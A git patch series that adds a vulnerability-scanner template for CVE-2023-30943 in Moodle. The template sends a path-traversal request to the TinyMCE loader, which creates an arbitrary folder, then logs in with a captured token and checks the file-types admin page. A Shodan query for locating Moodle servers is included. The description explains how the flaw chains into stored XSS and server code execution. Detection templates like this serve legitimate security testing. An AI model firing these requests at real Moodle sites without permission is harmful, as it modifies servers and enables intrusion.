From 83bb3b47664a673d7639325e4fa138c77d67b38c Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Thu, 31 Aug 2023 10:04:29 +0530
Subject: [PATCH 1/3] Create CVE-2023-30943.yaml
---
http/cves/2023/CVE-2023-30943.yaml | 45 ++++++++++++++++++++++++++++++
1 file changed, 45 insertions(+)
create mode 100644 http/cves/2023/CVE-2023-30943.yaml
diff --git a/http/cves/2023/CVE-2023-30943.yaml b/http/cves/2023/CVE-2023-30943.yaml
new file mode 100644
index 0000000000..897865c6d3
--- /dev/null
+++ b/http/cves/2023/CVE-2023-30943.yaml
@@ -0,0 +1,45 @@
+id: CVE-2023-30943
+
+info:
+ name: Moodle - Cross-Site Scripting
+ author: ritikchaddha
+ severity: medium
+ description: |
+ The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system.
+ reference:
+ - https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-30943
+ metadata:
+ max-request: 2
+ tags: cve,cve2023,moodle,xss
+
+http:
+ - raw:
+ - |
+ GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/.png HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ - |
+ GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
+ Host: {{Hostname}}
+
+ host-redirects: true
+ cookie-reuse: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - ""
+ - "moodle"
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - text/html
+
+ - type: status
+ status:
+ - 200
From 5a9459d0fdc7f3c0b133e1229fd39b7b604fa14c Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Tue, 12 Sep 2023 12:44:40 +0530
Subject: [PATCH 2/3] updated template
---
http/cves/2023/CVE-2023-30943.yaml | 39 ++++++++++++++++++++++++------
1 file changed, 31 insertions(+), 8 deletions(-)
diff --git a/http/cves/2023/CVE-2023-30943.yaml b/http/cves/2023/CVE-2023-30943.yaml
index 897865c6d3..d567170cc5 100644
--- a/http/cves/2023/CVE-2023-30943.yaml
+++ b/http/cves/2023/CVE-2023-30943.yaml
@@ -1,25 +1,37 @@
id: CVE-2023-30943
info:
- name: Moodle - Cross-Site Scripting
+ name: Moodle - Cross-Site Scripting/Remote Code Execution
author: ritikchaddha
severity: medium
description: |
- The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system.
+ The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
reference:
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
metadata:
max-request: 2
- tags: cve,cve2023,moodle,xss
+ shodan-query: title:"Moodle"
+ tags: cve,cve2023,moodle,xss,rce,authenticated
http:
- raw:
- |
- GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/.png HTTP/1.1
+ GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/.png HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
+ - |
+ GET /login/index.php HTTP/2
+ Host: {{Hostname}}
+
+ - |
+ POST /login/index.php HTTP/2
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ anchor=&logintoken={{token}}&username={{username}}&password={{password}}
+
- |
GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
Host: {{Hostname}}
@@ -29,17 +41,28 @@ http:
matchers-condition: and
matchers:
- type: word
- part: body
+ part: body_4
words:
- - ""
- - "moodle"
+ - ""
+ - ">archive"
+ - "File icon"
condition: and
- type: word
- part: header
+ part: header_4
words:
- text/html
- type: status
+ part: header_4
status:
- 200
+
+ extractors:
+ - type: regex
+ part: body
+ name: token
+ group: 1
+ regex:
+ - 'name="logintoken" value="([a-zA-Z0-9]+)">'
+ internal: true
From 850873489318cbf12c5a0c154857eb171937b97b Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Tue, 12 Sep 2023 12:49:44 +0530
Subject: [PATCH 3/3] added classification
---
http/cves/2023/CVE-2023-30943.yaml | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/http/cves/2023/CVE-2023-30943.yaml b/http/cves/2023/CVE-2023-30943.yaml
index d567170cc5..c88fddc75e 100644
--- a/http/cves/2023/CVE-2023-30943.yaml
+++ b/http/cves/2023/CVE-2023-30943.yaml
@@ -9,6 +9,11 @@ info:
reference:
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
+ cvss-score: 5.3
+ cve-id: CVE-2023-30943
+ cwe-id: CWE-73
metadata:
max-request: 2
shodan-query: title:"Moodle"